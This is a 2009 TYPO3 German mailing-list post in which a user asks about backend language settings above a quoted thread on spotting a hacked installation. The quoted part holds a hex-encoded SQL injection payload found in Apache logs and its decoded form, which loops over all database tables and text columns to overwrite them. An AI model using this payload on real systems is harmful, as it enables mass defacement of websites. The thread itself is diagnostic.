[TYPO3-german] Wie stelle ich "zuverlässig" fest, ob meine TYPO3-Installation gehacked wurde?

[Oliver Lind]

Hallo zusammen,

ich wollte wie beschrieben die deutsche Sprache als Backendsprache einstellen. 
Allerdings klappt das auch nach Löschen des Caches nicht. Woran kann das eurer 
Meinung nach liegen?

Viele Grüße, Oliver


Am 9 Mar 2009 um 23:11 hat David Bruchmann geschrieben:

> 
> 
> ----- Ursprüngliche Nachricht -----
> Von:        Uwe Jakobs ImageCode® <uwe.jakobs at imageco.de>
> Gesendet:   Montag, 9. März 2009 20:55:42
> An:         'German TYPO3 Userlist' <typo3-german at lists.netfielders.de>
> CC:
> Betreff:    Re: [TYPO3-german] Wie stelle ich "zuverlässig" fest, ob 
> meine TYPO3-Installation gehacked wurde?
> 
> Hallo Uwe,
> 
> > 
> > ich hoffe, meine Anfrage entwickelt sich zum Off-Topic, aber ich habe in der
> > vergangenen Zeit im access-log meines Apache2 überraschend viele
> > Parameter-Anhängsel wie dieses hier entdeckt:
> > 
> > 
3BSET%20%40S%3DCAST(0x4445434C415245204054207661726368617228323535
292C404320
> > 
76617263686172283430303029204445434C415245205461626C655F437572736F722
0435552
> > 
534F5220464F522073656C65637420612E6E616D652C622E6E616D652066726F6D2
07379736F
> > 
626A6563747320612C737973636F6C756D6E73206220776865726520612E69643D62
2E696420
> > 
616E6420612E78747970653D27752720616E642028622E78747970653D3939206F72
20622E78
> > 
747970653D3335206F7220622E78747970653D323331206F7220622E78747970653D
31363729
> > 
204F50454E205461626C655F437572736F72204645544348204E4558542046524F4D
20205461
> > 
626C655F437572736F7220494E544F2040542C4043205748494C4528404046455443
485F5354
> > 
415455533D302920424547494E20657865632827757064617465205B272B40542B275
D207365
> > 74205B272B40432B275D3D2727223E3C2F74
> > 
> 
> ich weiss zwar nicht was das für ein Codeschnipsel ist, aber übersetzt 
> heißt es:
> 
> ;SET @S=CAST(DECLARE @T varchar(255), at C varchar(4000) DECLARE 
> Table_Cursor CURSOR FOR select a.name,b.name from sysobjects a, 
> syscolumns b where a.id=b.id and a.xtype='u' and (b.xtype=99 or 
> b.xtype=35 or b.xtype=231 or b.xtype=167) OPEN Table_Cursor FETCH NEXT 
> FROM Table_Cursor INTO @T, at C WHILE (@@FETCH_STATUS=0) BEGIN 
exec('update 
> ['+ at T+'] set ['+ at C+']=''"></t
> 
> Viele Grüße
> David
> _______________________________________________
> TYPO3-german mailing list
> TYPO3-german at lists.netfielders.de
> http://lists.netfielders.de/cgi-bin/mailman/listinfo/typo3-german


____________________________________
TECHNISCHE UNIVERSITÄT DARMSTADT
Dipl. Verwaltungswirt (FH) Oliver Lind
Dezernat IV A - Sicherheit und Gesundheit
Karolinenplatz 5, 64289 Darmstadt
Tel.: 06151/16-2029, Fax: 06151/16-6028
E-Mail: lind at pvw.tu-darmstadt.de